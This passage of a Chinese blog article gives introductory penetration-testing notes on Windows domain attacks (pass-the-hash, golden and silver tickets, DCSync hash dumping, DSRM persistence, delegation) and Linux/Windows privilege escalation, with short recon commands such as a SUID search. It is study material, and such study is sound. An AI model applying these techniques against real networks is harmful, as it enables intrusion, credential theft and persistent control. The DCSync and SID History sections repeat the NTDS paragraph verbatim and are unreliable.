5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

防御:KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号

(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,

在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID

为500的账号进行横向移动,就不会受到KB2871997的影响

PTT(pass the ticket)

黄金票据和白银票据的区别:黄金票据与KDC通信,黄金票据是伪装kerberos认证的第一阶段的TGT,而

白银票据在 kerberos 认证的第三步 Ticket 中组成

黄金票据伪造

条件

  1. 完整的域名称

  2. krbtgt 账户的 NTLM Hash 或者 AES-256

  3. 域的 sid

  4. 需要伪造的域管理员用户名

白银票据伪造

条件

  1. 域名

  2. 域 SID

  3. 目标服务器的 FQDN

  4. 可利用的服务

  5. 服务账号的 NTLM Hash

  6. 需要伪造的用户名

提权

linux

内核提权

老版的脏牛和前几天的pcexec

SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行

root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限

find / -perm -u=s -type f 2>/dev/null

SUDO提权

普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理

方便,sudoer配置文件错误导致提权。

计划任务

如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置

不当。

ls -l /etc/cron*

more /etc/crontab

MySQL提权

udf提权

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,

性质就象使用本地MYSQL函数如abs()或concat()。 通过udf创建能够执行系统命令的函数sys_exec、

sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。

mof提权

"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,

然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段

是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

windows

内核漏洞

systeminfo

或

wmic qfe get caption,description,hotfixid,installedon

KiTrap0D和KB979682对应、MS10-021和KB979683对应

计划任务提权

如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计

划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。

内网信息收集

查询域

net view /domain

查询所有域成员计算机列表

net group "domain computers" /domain

获取域管理员列表

net group "Domain Admins" /domain

列出本机所有进程及进程用户

Tasklist /v

集群域和工作组的区别

工作组

是局域网中的一个概念,它是最常见的资源管理模式,简单是因为默认情况下计算机都是采用工作组方

式进行资源管理的。将不同的电脑按功能分别列入不同的组中,以方便管理。默认情况下所有计算机都

处在名为 WORKGROUP 的工作组中,工作组资源管理模式适合于网络中计算机不多,对管理要求不严

格的情况。

域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访

问另一个域中的资源)。它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥

有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户

身份。

集群

“群集”是一组协同工作并运行Microsoft群集服务的独立服务器。允许客户端在出现故障和计划中的暂停

时依然能够访问应用程序和资源,如果群集中的某台服务器由于故障或维护需要而无法使用时,资源和

应用程序将转移到可用的群集节点上。

linux基础命令

检测内核版本

# 查看系统发行版本

lsb_release -a

# 查看内核版本

uname -a

root 的历史命令

history

/home各帐号目录下的.bash_history,查看普通帐号的历史命令

检查异常端口、进程

1.使用netstat 网络连接命令,分析可疑端口、IP、PID

2.netstat -antlp|more

3.查看下pid所对应的进程文件路径,运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应

的pid 号),查看启动命令ps –ef |grep $PID(效果同 ps aux |grep $PID)

4.查看端口是否开启:lsof -i:端口号 或者netstat -atu检查linux中的开放端口

dunp hash

有域控怎么dunp hash

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。

这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行

权限。

NTDS

它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数

据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位

置以进行离线分析和密码哈希的提取。

DCSync

该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和

管理Windows Active Directory数据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文

件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

权限维持

SID History

它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数

据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位

置以进行离线分析和密码哈希的提取。

DSRM

域控上有个账户,名字为目录服务还原模式账户又名DSRM账户,它的密码是安装DC的时候设置的,一

般不会修改。但是当DSRM账户被修改的时候,域控的本地管理员administrator账户密码的hash也会被

修改,并且与DSRM账户的hash是一样的。这时候即使再次修改了本地管理员administrator账户的明文

密码,sam文件的hash也不会更改,只会更改ntds.dit文件中的hash。综上,意味着只要我们能够更改

DSRM的账号密码,我们就能够通过DSRM的密码的hash登陆域控主机,并且即使域控主机的本地管理

员密码改变了,DSRM的hash也不会变,我们依旧可以利用pth攻击来登陆。该攻击需要使用域控上的

ntdsutil工具修改DSRM账户的密码(保证自己知道的密码),然后需要修改dsrm的登录方式因为在

windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制

在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。

DSRM的三种登录方式:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2

委派攻击

分别是非约束性委派、约束性委派和基于资源的约束性委派。

非约束性委派

在非约束性委派中,服务账号可以获取域用户的 TGT,并使用该 TGT 模拟域用户访问任意服务。配置了

非约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_FOR_DELEGATION 标志位。下图所

示为非约束性委派的完整请求过程。

约束性委派

微软为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议 S4u2self(Service for User

to Self)和 S4U2proxy(Service for User to Proxy)。

S4U2self 扩展允许服务代表用户获取针对自己的服务票据,S4U2proxy 允许服务代表用户获取另一个

服务的服务票据。约束委派就是限制了 S4U2proxy 扩展的请求范围,使得配置了委派属性的服务只能模

拟用户身份访问特定的其他服务。配置了约束性委派的账户的 userAccountControl 属性会设置

TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,并且账户的 msDS-AllowedToDelegateTo 属性会被

设置为对哪些服务进行委派。下图所示为约束性委派中,S4U2self 和 S4U2proxy 扩展的完整请求过

程。文章来源地址https://www.toymoban.com/news/detail-622214.html

到了这里,关于入门必看——渗透测试基础知识笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全-渗透测试-基础知识02

    无代理服务器 Request请求数据包 Reponse相应数据包 有代理服务器 Requeset请求数据包 Proxy代理服务器 Reponse相应数据包 代理的出现在接受数据包和发送数据包的时候提供了修改数据包的机会 总结: 建立连接——发送请求数据包——返回响应数据包——关闭连接 定义: HTTP协议是超

    2024年02月07日
    浏览(46)
  • [渗透测试]—6.1 无线网络基础知识

    在本章节中,我们将学习一些关于无线网络的基础知识,如WEP、WPA和WPA2等加密技术。我们将尽量讲解得详细、通俗易懂,并提供尽可能多的实例。 无线局域网(WLAN)是一种基于无线电波传输的计算机网络,可以实现设备之间的通信和互联。在家庭、企业和公共场所,无线网

    2024年02月11日
    浏览(56)
  • 安全渗透测试网络基础知识之路由技术

    #1.静态路由技术 ##1.1路由技术种类: 静态路由技术、动态路由技术 ##1.2静态路由原理 静态路由是网络中一种手动配置的路由方式,用于指定数据包在网络中的传输路径。与动态路由协议不同,静态路由需要管理员手动配置路由表,指定目的网络和下一跳路由器的关联关系。

    2024年02月06日
    浏览(54)
  • 安全渗透测试之网络基础知识(IP地址)

    #1.IP地址介绍 注意:不同局域网需要有不同的网络部分,通过网络部分区别出网段/网络; 局域网内部,主机部分不能一样,否则会出现地址冲突 范围:0.0.0.0-255.255.255.255 表示:点分十进制 组成:由网络部分和主机部分组成 192.168.1.1 1.1.1.1 255.254.188.2 二进制:00000000 11111111 十

    2024年02月08日
    浏览(55)
  • web渗透安全学习笔记:2、HTML基础知识

    目录 前言 HTML的标题 段落链接与插入图片 HTML元素 HTML属性 HTML头部 HTML与CSS HTML与JavaScript 表格与列表 HTML区块 布局 HTML表单 HTML与数据库 音频与视频 HTML事件 运行效果:   ———————————————————————————————————————————  ——

    2024年01月21日
    浏览(54)
  • Web安全入门基础知识(笔记)

    0x01 基础名词 一、域名 1.什么是域名 2.域名在那里注册 3.什么是二级域名,多级域名,顶级域名 4.域名发现对于安全测试的意义 二、DNS 1.什么是DNS 2.本地host和DNS的关系 3.CDN是什么,和DNS有什么关系 三、常见的DNS攻击 四、脚本语言 1.常见的脚本语言有哪些 2.不同的脚本类型于

    2024年02月10日
    浏览(54)
  • 2023最全的自动化测试入门基础知识(建议收藏)

    自动化测试是把以人为驱动的测试行为转化为机器执行的一种过程。通常,在设计了测试用例并通过评审之后,由测试人员根据测试用例中描述的过程一步步执行测试,得到实际结果与期望结果的比较。在此过程中,为了节省人力、时间或硬件资源,提高测试效率,便引入了

    2023年04月12日
    浏览(52)
  • Java的字符串的基础知识(必看)

    目录 Java的字符串的基础知识(必看) String API的使用 String概述 创建String对象的两种方式 ==号比的是什么? 难点 经典String案例 易错点 StringBuilder 疑难点: StringJoiner 字符串相关类的底层原理 中文的存储原理 String的常见的构造方法 API的使用 JavaAPI(Java Application Programming Interface)是

    2024年04月10日
    浏览(55)
  • 【Spring】Spring基础知识 Java开发必看

    🚀欢迎来到本文🚀 🍉个人简介:陈童学哦,目前专攻C/C++、Python、Java等方向,一个正在慢慢前行的普通人。 🏀系列专栏:陈童学的日记 💡其他专栏:C++STL、蓝桥杯,喜欢OJ的小伙伴可以看一手 🎁希望各位→点赞👍 + 收藏⭐️ + 留言📝 ​ ⛱️学习应使你快乐!望与诸君

    2024年02月13日
    浏览(43)
  • 【ESP8266教程】零基础入门学用物联网-基础知识篇(太极创客团队)学习笔记

    提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下面案例可供参考         NodeMCU上的D2引脚引出ESP82

    2024年04月29日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包